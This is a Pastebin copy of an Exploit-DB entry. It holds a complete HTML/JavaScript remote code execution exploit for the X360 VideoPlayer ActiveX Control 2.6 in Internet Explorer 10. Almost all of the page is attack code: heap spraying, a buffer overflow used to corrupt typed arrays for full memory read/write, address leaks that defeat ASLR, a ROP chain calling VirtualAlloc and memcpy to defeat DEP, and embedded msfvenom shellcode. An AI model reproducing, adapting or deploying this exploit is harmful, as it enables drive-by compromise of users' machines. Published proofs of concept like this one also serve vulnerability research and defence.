Advertisement
Mayk0

#; X360 VideoPlayer ActiveX Control 2.6 - Full ASLR & DEP

Feb 4th, 2015
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 11.36 KB | None | 0 0
  1. X360 VideoPlayer ActiveX Control 2.6 - Full ASLR & DEP Bypass
  2.  
  3. EDB-ID: 35948   CVE: N/A    OSVDB-ID: N/A
  4. Author: Rh0 Published: 2015-01-30   Verified: Not Verified
  5. Exploit Code:   Download    Vulnerable App:    Download
  6. Rating
  7.  
  8. ===============================================
  9.  
  10. <!DOCTYPE HTML>
  11.  
  12. <!--
  13.  
  14.  
  15. ###############################################################################
  16. *
  17. * Exploit Title: X360 VideoPlayer ActiveX Control RCE Full ASLR & DEP Bypass
  18. * Author: Rh0
  19. * Date: Jan 30 2015
  20. * Affected Software: X360 VideoPlayer ActiveX Control 2.6 (VideoPlayer.ocx)
  21. * Vulnerability: Buffer Overflow in Data Section
  22. * Tested on: Internet Explorer 10 32-bit (Windows 7 64-bit in VirtualBox)
  23. * Software Links:
  24.  http://www.x360soft.com/demo/videoplayersetup.exe
  25.  http://download.cnet.com/X360-Video-Player-ActiveX-Control/3000-2170_4-10581185.html
  26.  
  27. * Detailed writeup: https://rh0dev.github.io/blog/2015/fun-with-info-leaks/
  28. *
  29. ###############################################################################
  30.  
  31.  
  32. * Information about VideoPlayer.ocx *
  33. ###################################
  34.  
  35. md5sum: f9f2d32ae0e4d7b5c19692d0753451fb
  36.  
  37. Class VideoPlayer
  38. GUID: {4B3476C6-185A-4D19-BB09-718B565FA67B}
  39. Number of Interfaces: 1
  40. Default Interface: _DVideoPlayer
  41. RegKey Safe for Script: True
  42. RegkeySafe for Init: True
  43. KillBitSet: False
  44.  
  45. * NOTES *
  46. #########
  47.  
  48. *) When passing an overlong string to the ActiveX object's "SetText" method, a
  49. buffer overflow in the data section occurs. It allows overwriting a subsequent
  50. pointer that can be used in a controlled memcpy when dispatching the object's
  51. "SetFontName" method. With this arbitrary write, array structures can be
  52. manipulated to gain access to complete process memory. Equipped with this
  53. capability, necessary information can be leaked and manipulated to execute
  54. arbitrary code remotely.
  55. *) Comment in the alert messages to see some leaks ;)
  56. *) This is PoC Code: If it does not work for you, clear IE's history and try
  57. again. Tested against mshtml.dll and jscript9.dll version 10.0.9200.17183
  58.  
  59.  
  60. *) Inspired by:
  61. "http://blog.exodusintel.com/2013/12/09/a-browser-is-only-as-strong-as-its-weakest-byte-part-2/"
  62. "http://ifsec.blogspot.de/2013/11/exploiting-internet-explorer-11-64-bit.html"
  63. "https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf"
  64. "https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf"
  65. "https://github.com/exp-sky/HitCon-2014-IE-11-0day-Windows-8.1-Exploit/blob/master/IE 11 0day & Windows 8.1 Exploit.pdf"
  66.  
  67. -->
  68.  
  69. <html>
  70. <body>
  71. <button onclick=run()>runme</button>
  72. <script>
  73. function run(){
  74.    /* VideoPlayer.ocx image has the rebase flag set =>
  75.       It's mapped to another base per process run */
  76.    /* create its vulnerable ActiveX object (as HTMLObjectElement) */
  77.    var obj = document.createElement("object");
  78.     obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
  79.  
  80.     /* amount of arrays to create on the heap */
  81.     nrArrays = 0x1000
  82.  
  83.     /* size of data in one array block: 0xefe0 bytes =>
  84.        subract array header (0x20) and space for typed array headers (0x1000)
  85.        from 0x10000 */
  86.     arrSize =  (0x10000-0x20-0x1000)/4
  87.  
  88.     /* heap array container will hold our heap sprayed data */
  89.     arr = new Array(nrArrays)
  90.  
  91.     /* use one buffer for all typed arrays */
  92.     intArrBuf = new ArrayBuffer(4)
  93.      
  94.     /* spray the heap with array data blocks and subsequent typed array headers
  95.        of type Uint32Array */
  96.     k = 0
  97.     while(k < nrArrays){
  98.        /* create "jscript9!Js::JavascriptArray" with blocksize 0xf000 (data
  99.           aligned at 0xXXXX0020) */
  100.        arr[k] = new Array(arrSize);
  101.        /* fill remaining page (0x1000) after array data with headers of
  102.           "jscript9!Js::TypedArray<unsigned int>"  (0x55 * 0x30 = 0xff0) as a
  103.            typed array header has the size of 0x30. 0x10 bytes are left empty */
  104.         for(var i= 0; i<0x55; i++){
  105.            /* headers become aligned @ 0xXXXXf000, 0xXXXXf030, 0xXXXXf060,.. */
  106.            arr[k][i] = new Uint32Array(intArrBuf, 0, 1);
  107.        }
  108.        /* tag the array's last element */
  109.        arr[k][arrSize - 1] = 0x12121212
  110.        k += 1;
  111.    }
  112.    /* perform controlled memwrite to 0x1111f010: typed array header is at
  113.       0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
  114.        0x00000001 0x00000004 0x00000040 0x1111f030 0x00
  115.        The first 3 dwords are sideeffects due to the code we abuse for the
  116.        controlled memcpy */
  117.     addr = 0x1111f010  // WHERE TO WRITE
  118.     /* prepare buffer with address we want to write to */
  119.     ptrBuf = ""
  120.     /* fill buffer: length = relative pointer address - buffer start + pointer
  121.        offset */
  122.     while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)){ptrBuf += "A"}
  123.    ptrBuf += dword2str(addr)
  124.  
  125.    /* trigger: overflow buffer and overwrite the pointer value after buffer */
  126.    obj.SetText(ptrBuf,0,0)
  127.    //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")
  128.  
  129.     /* use overwritten pointer after buffer with method "SetFontName" to conduct
  130.        memory write.  We overwrite a typed array's header length to 0x40 and let
  131.        its buffer point to the next typed array header at 0x1111f030 (see above)
  132.        */
  133.     obj.SetFontName(dword2str(addr+0x20)) // WHAT TO WRITE
  134.  
  135.     /* find the corrupted Uint32Array (typed array) */
  136.     k = 0
  137.     arrCorrupt = 0
  138.     while(k < 0x1000-1){
  139.        for(var i = 0; i < 0x55-1; i++){
  140.            if(arr[k][i][0] != 0){
  141.                // address of jscript9!Js::TypedArray<unsigned int>::`vftable'
  142.                 //alert("0x" + arr[k][i][0].toString(16))
  143.                 arrCorrupt = 1
  144.                 break
  145.             }
  146.         }
  147.         if (arrCorrupt == 1) break
  148.         k++
  149.     }
  150.  
  151.     if (!arrCorrupt){
  152.         alert("cannot find corrupted Uint32Array")
  153.         return -1
  154.     }
  155.  
  156.     /* modify subsequent Uint32Array to be able to RW all process memory */
  157.     arr[k][i][6] = 0x7fffffff // next Uint32Array length
  158.     arr[k][i][7] = 0 // set buffer of next Uint32Array to start of process mem
  159.  
  160.     /* our memory READWRITE interface :) */
  161.     mem = arr[k][i+1]
  162.     //alert(mem.length.toString(16))
  163.     if (mem.length != 0x7fffffff){
  164.         alert("Cannot change Uint32Array length")
  165.         return -2
  166.     }
  167.     /* now we could even repair the change we did with memcpy ... */
  168.      
  169.     /* leak several pointers and calculate VideoPlayer.ocx base */
  170.     arr[k+1][0] = obj // set HTMLObjectElement as first element
  171.     //alert(mem[0x11120020/4].toString(16))
  172.     arrayElemPtr = mem[(addr + 0x1010)/4] // leak array elem. @ 0x11120020 (obj)
  173.     objPtr = mem[arrayElemPtr/4 + 6] // deref array elem. + 0x18
  174.     heapPtrVideoplayer = mem[objPtr/4 + 25] // deref HTMLObjectElement + 0x64
  175.     /* deref heap pointer containing VideoPlayer.ocx pointer */
  176.     videoplayerPtr = mem[heapPtrVideoplayer/4]
  177.     base = videoplayerPtr - 0x6b3b0 // calculate base
  178.  
  179.     /* check if we have the image of VideoPlayer.ocx
  180.        check for MZ9000 header and "Vide" string at offset 0x6a000 */
  181.     if (mem[base/4] != 0x905a4d ||
  182.         mem[(base+0x6a000)/4] != 0x65646956){
  183.         alert("Cannot find VideoPlayer.ocx base or its version is wrong")
  184.         return -3
  185.     }
  186.     //alert(base.toString(16))
  187.  
  188.     /* get VirtualAlloc from imports of VideoPlayer.ocx */
  189.     virtualAlloc = mem[(base + 0x69174)/4]
  190.     /* memcpy is available inside VideoPlayer.ocx */
  191.     memcpy = base + 0x15070
  192.     //alert("0x" + virtualAlloc.toString(16) + " " + 0x" + memcpy.toString(16))
  193.      
  194.     /* create shellcode (./msfvenom -p windows/exec cmd=calc) */
  195.     sc = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"+
  196.     "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"+
  197.     "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"+
  198.     "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"+
  199.     "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"+
  200.     "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"+
  201.     "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"+
  202.     "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"+
  203.     "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"+
  204.     "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"+
  205.     "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"+
  206.     "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"+
  207.     "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"+
  208.     "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"+
  209.     "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"+
  210.     "\x00"
  211.  
  212.     scBuf = new Uint8Array(sc.length)
  213.     for (n=0; n<sc.length; n++){
  214.        scBuf[n] = sc.charCodeAt(n)
  215.    }
  216.  
  217.    /* leak shellcode address */
  218.    arr[k+1][0] = scBuf
  219.    /* therefore, leak array element at 0x11120020 (typed array header of
  220.       Uint8Array containing shellcode) ... */
  221.    elemPtr = mem[(addr + 0x1010)/4]
  222.    /* ...and deref array element + 0x1c (=> leak shellcode's buffer address) */
  223.     scAddr = mem[(elemPtr/4) + 7]
  224.     //alert(scAddr.toString(16))
  225.  
  226.     /* create and leak rop buffer */
  227.     rop = new Uint32Array(0x1000)
  228.     arr[k+1][0] = rop
  229.     /* leak array element at 0x11120020 (typed array header) */
  230.     elemPtr = mem[(addr + 0x1010)/4]
  231.     /* deref array element + 0x1c (leak rop's buffer address) */
  232.     pAddr = mem[(elemPtr/4) + 7]  // payload address
  233.  
  234.     /* ROP chain (rets in comments are omitted) */
  235.     /* we perform:
  236.        (void*) EAX = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_RWX)
  237.        memcpy(EAX, shellcode, shellcodeLen)
  238.        (void(*)())EAX() */
  239.     offs = 0x30/4           // offset to chain after CALL [EAX+0x30]
  240.     rop[0] = base + 0x1ff6           // ADD ESP, 0x30;
  241.     rop[offs + 0x0] = base + 0x1ea1e // XCHG EAX, ESP; <-- first gadget called
  242.    rop[offs + 0x1] = virtualAlloc   // allocate RWX mem (address avail. in EAX)
  243.    rop[offs + 0x2] = base + 0x10e9  // POP ECX; => pop the value at offs + 0x7
  244.     rop[offs + 0x3] = 0              // lpAddress
  245.     rop[offs + 0x4] = 0x1000         // dwSize (0x1000)
  246.     rop[offs + 0x5] = 0x1000         // flAllocationType (MEM_COMMIT)
  247.     rop[offs + 0x6] = 0x40           // flProtect (PAGE_EXECUTE_READWRITE)
  248.     rop[offs + 0x7] = pAddr + (offs+0xe)*4  // points to memcpy's dst param (*2)
  249.     rop[offs + 0x8] = base + 0x1c743 // MOV [ECX], EAX; => set dst to RWX mem
  250.     rop[offs + 0x9] = base + 0x10e9  // POP ECX;
  251.     rop[offs + 0xa] = pAddr + (offs+0xd)*4  // points to (*1) in chain
  252.     rop[offs + 0xb] = base + 0x1c743 // MOV [ECX], EAX; => set return to RWX mem
  253.     rop[offs + 0xc] = memcpy
  254.     rop[offs + 0xd] = 0xffffffff  // (*1): ret addr to RWX mem filled at runtime
  255.     rop[offs + 0xe] = 0xffffffff  // (*2): dst for memcpy filled at runtime
  256.     rop[offs + 0xf] = scAddr   // shellcode src addr to copy to RWX mem (param2)
  257.     rop[offs + 0x10] = sc.length     // length  of shellcode (param3)
  258.  
  259.     /* manipulate object data to gain EIP control with "Play" method */
  260.     videopObj = mem[objPtr/4 + 26]
  261.     mem[(videopObj-0x10)/4] = pAddr // pAddr will be used in EAX in below call
  262.  
  263.     /* eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
  264.     obj.Play()
  265.  
  266. }
  267.  
  268. /* dword to little endian string */
  269. function dword2str(dword){
  270.     str = ""
  271.     for (n=0; n<4; n++){
  272.        str += String.fromCharCode((dword >> 8*n) & 0xff)
  273.    }
  274.    return str
  275.  
  276. }
  277. //setTimeout(run(), 3000);
  278. </script>
  279. </body>
  280. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement